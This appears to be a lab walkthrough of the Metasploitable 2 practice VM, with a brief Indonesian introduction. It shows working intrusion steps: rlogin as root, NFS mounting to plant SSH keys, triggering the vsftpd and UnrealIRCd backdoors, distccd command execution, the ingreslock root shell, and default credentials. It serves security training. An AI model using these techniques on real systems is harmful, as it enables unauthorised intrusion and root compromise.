Mesin virtual Metasploitable adalah versi Ubuntu Linux yang sengaja dirancang untuk menguji alat keamanan dan menunjukkan kerentanan umum. Versi 2 dari mesin virtual ini tersedia untuk diunduh dan dikirimkan dengan kerentanan lebih banyak daripada image original-nya. Mesin virtual ini kompatibel dengan VMWare, VirtualBox, dan platform virtualisasi umum lainnya. Secara default, antarmuka jaringan Metasploitable terikat dengan NAT dan adapter jaringan Host-only, dan image tersebut tidak boleh terexpose ke jaringan yang berbahaya.

This document outlines many of the security flaws in the Metasploitable 2 image. Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. This document will continue to expand over time as many of the less obvious flaws with this platform are detailed.

Getting Started

After the virtual machine boots, login to console with username msfadmin and password msfadmin. From the shell, run the ifconfig command to identify the IP address.

msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:9a:52:c1 
          inet addr:192.168.99.131  Bcast:192.168.99.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1

Services

From our attack system (Linux, preferably something like Kali Linux), we will identify the open network services on this virtual machine using the Nmap Security Scanner. The following command line will scan all TCP ports on the Metasploitable 2 instance:

root@ubuntu:~# nmap -p0-65535 192.168.99.131

Nearly every one of these listening services provides a remote entry point into the system. In the next section, we will walk through some of these vectors.

Unix Basics

TCP ports 512, 513, and 514 are known as "r" services, and have been misconfigured to allow remote access from any host (a standard ".rhosts + +" situation). To take advantage of this, make sure the "rsh-client" client is installed (on Ubuntu), and run the following command as your local root user. If you are prompted for an SSH key, this means the rsh-client tools have not been installed and Ubuntu is defaulting to using SSH.

# rlogin -l root 192.168.99.131

root@metasploitable:~#

This is about as easy as it gets. The next service we should look at is the Network File System (NFS). NFS can be identified by probing port 2049 directly or asking the portmapper for a list of services. The example below using rpcinfo to identify NFS and showmount -e to determine that the "/" share (the root of the file system) is being exported. You will need the rpcbind and nfs-common Ubuntu packages to follow along.

root@ubuntu:~# rpcinfo -p 192.168.99.131

Getting access to a system with a writeable filesystem like this is trivial. To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account's authorized_keys file:

root@ubuntu:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.

root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/

Backdoors

On port 21, Metasploitable2 runs vsftpd, a popular FTP server. This particular version contains a backdoor that was slipped into the source code by an unknown intruder. The backdoor was quickly identified and removed, but not before quite a few people downloaded it. If a username is sent that ends in the sequence :) [ a happy face ], the backdoored version will open a listening shell on port 6200. We can demonstrate this with telnet or use the Metasploit Framework module to automatically exploit it:

root@ubuntu:~# telnet 192.168.99.131 21
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
^]
telnet> quit
Connection closed.

root@ubuntu:~# telnet 192.168.99.131 6200
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)

On port 6667, Metasploitable2 runs the UnreaIRCD IRC daemon. This version contains a backdoor that went unnoticed for months - triggered by sending the letters "AB" following by a system command to the server on any listening port. Metasploit has a module to exploit this in order to gain an interactive shell, as shown below.

msfconsole 

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf  exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131

uid=0(root) gid=0(root)

Much less subtle is the old standby "ingreslock" backdoor that is listening on port 1524. The ingreslock port was a popular choice a decade ago for adding a backdoor to a compromised server. Accessing it is easy:

root@ubuntu:~# telnet 192.168.99.131 1524
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)

Unintentional Backdoors

In addition to the malicious backdoors in the previous section, some services are almost backdoors by their very nature. The first of which installed on Metasploitable2 is distccd. This program makes it easy to scale large compiler jobs across a farm of like-configured systems. The problem with this service is that an attacker can easily abuse it to run a command of their choice, as demonstrated by the Metasploit module usage below.

msfconsole

msf > use exploit/unix/misc/distcc_exec
msf  exploit(distcc_exec) > set RHOST 192.168.99.131
msf  exploit(distcc_exec) > exploit

id
uid=1(daemon) gid=1(daemon) groups=1(daemon)

Samba, when configured with a writeable file share and "wide links" enabled (default is on), can also be used as a backdoor of sorts to access files that were not meant to be shared. The example below uses a Metasploit module to provide access to the root filesystem using an anonymous connection and a writeable share.

root@ubuntu:~# smbclient -L //192.168.99.131

Weak Passwords

In additional to the more blatant backdoors and misconfigurations, Metasploitable 2 has terrible password security for both system and database server accounts. The primary administrative user msfadmin has a password matching the username. By discovering the list of users on this system, either by using another flaw to capture the passwd file, or by enumerating these user IDs via Samba, a brute force attack can be used to quickly access multiple user accounts. At a minimum, the following weak system accounts are configured on the system. Account Name Password

msfadmin

msfadmin

user

user

postgres

postgres

sys

batman

klog

123456789

service

service

In addition to these system-level accounts, the PostgreSQL service can be accessed with username postgres and password postgres, while the MySQL service is open to username root with an empty password. The VNC service provides remote desktop access using the password password.

Vulnerable Web Services

Metasploitable 2 has deliberately vulnerable web applications pre-installed. The web server starts automatically when Metasploitable 2 is booted. To access the web applications, open a web browser and enter the URL http://<IP> where <IP> is the IP address of Metasploitable 2. One way to accomplish this is to install Metasploitable 2 as a guest operating system in Virtual Box and change the network interface settings from "NAT" to "Host Only". (Note: A video tutorial on installing Metasploitable 2 is available here.)

In this example, Metasploitable 2 is running at IP 192.168.56.101. Browsing to http://192.168.56.101/ shows the web application home page.

192.168.56/24 is the default "host only" network in Virtual Box. IP address are assigned starting from "101". Depending on the order in which guest operating systems are started, the IP address of Metasploitable 2 will vary.

To access a particular web application, click on one of the links provided. Individual web applications may additionally be accessed by appending the application directory name onto http://<IP> to create URL http://<IP>/<Application Folder>/. For example, the Mutillidae application may be accessed (in this example) at address http://192.168.56.101/mutillidae/. The applications are installed in Metasploitable 2 in the /var/www directory. (Note: See a list with command ls /var/www.) In the current version as of this writing, the applications are

   mutillidae (NOWASP Mutillidae 2.1.19)
   dvwa (Damn Vulnerable Web Application)
   phpMyAdmin
   tikiwiki (TWiki)
   tikiwiki-old
   dav (WebDav)

Mutillidae

The Mutillidae web application (NOWASP (Mutillidae)) contains all of the vulnerabilities from the OWASP Top Ten plus a number of other vulnerabilities such as HTML-5 web storage, forms caching, and click-jacking. Inspired by DVWA, Mutillidae allows the user to change the "Security Level" from 0 (completely insecure) to 5 (secure). Additionally three levels of hints are provided ranging from "Level 0 - I try harder" (no hints) to "Level 2 - noob" (Maximum hints). If the application is damaged by user injections and hacks, clicking the "Reset DB" button resets the application to its original state.

Tutorials on using Mutillidae are available at the webpwnized YouTube Channel.

Enable hints in the application by click the "Toggle Hints" button on the menu bar:

The Mutillidae application contains at least the following vulnerabilities on these respective pages: Page Vulnerabilities

DVWA

From the DVWA home page: "Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.".

DVWA contains instructions on the home page and additional information is available at Wiki Pages - Damn Vulnerable Web App.

Default username - admin
Default password - password

Information Disclosure

Additionally, an ill-advised PHP information disclosure page can be found at http://<IP>/phpinfo.php. In this example, the URL would be http://192.168.56.101/phpinfo.php. The PHP info information disclosure vulnerability provides internal system information and service version information that can be used to look up vulnerabilities. For example, noting that the version of PHP disclosed in the screenshot is version 5.2.4, it may be possible that the system is vulnerable to CVE-2012-1823 and CVE-2012-2311 which affected PHP before 5.3.12 and 5.4.x before 5.4.2.
